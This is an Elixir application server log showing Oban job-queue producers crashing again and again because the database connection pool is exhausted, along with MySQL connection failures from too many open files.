State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:57:40.241937Z], limit: 3, uuid: "47718522-1774-4c3b-b450-2b5a9e0724ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:40.241944Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246347>, refresh_timer: #Reference<0.2525715032.1077411843.226645>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:57:40.243956Z], limit: 5, uuid: "3d8c6c87-a15b-47d8-a55c-654d2e96ed4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:40.243962Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254383>, refresh_timer: #Reference<0.2525715032.1077411843.226670>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:52.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:57:40.242177Z], limit: 5, uuid: "6e8aa8e4-e8fd-4fb7-ad65-6b510329e6c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:40.242182Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254384>, refresh_timer: #Reference<0.2525715032.1077411843.226655>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:52.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:57:40.243657Z], limit: 50, uuid: "443adc7e-67cc-4797-8c6b-283583d62472", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:40.243663Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246346>, refresh_timer: #Reference<0.2525715032.1121189889.101058>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:57:53.551000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:54.891000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:55.881000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:55.988000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:58.931000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:59.018000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:57:59.904000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:01.145000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:58:04.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:57:52.243047Z], limit: 50, uuid: "e042eec0-766b-48d1-b70f-78c6f7da3c89", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:52.243052Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246655>, refresh_timer: #Reference<0.2525715032.1068236804.246644>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:57:52.240184Z], limit: 5, uuid: "5c87044c-f15c-465c-84ae-e1a554e3a0a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:52.240189Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254699>, refresh_timer: #Reference<0.2525715032.1099169794.254695>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:57:52.239611Z], limit: 10, uuid: "73172675-5937-43d6-af70-ae8d8dd563ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:52.239617Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.246654>, refresh_timer: #Reference<0.2525715032.1068236804.246594>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:57:52.239752Z], limit: 3, uuid: "7f9177f8-020c-4d71-90c9-230818f8448c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:52.239758Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254700>, refresh_timer: #Reference<0.2525715032.1099169794.254678>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:04.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:57:52.239933Z], limit: 20, uuid: "4a4905f0-596e-49d8-9548-90584c7301f9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:57:52.239938Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.254698>, refresh_timer: #Reference<0.2525715032.1099169794.254684>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:58:04.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
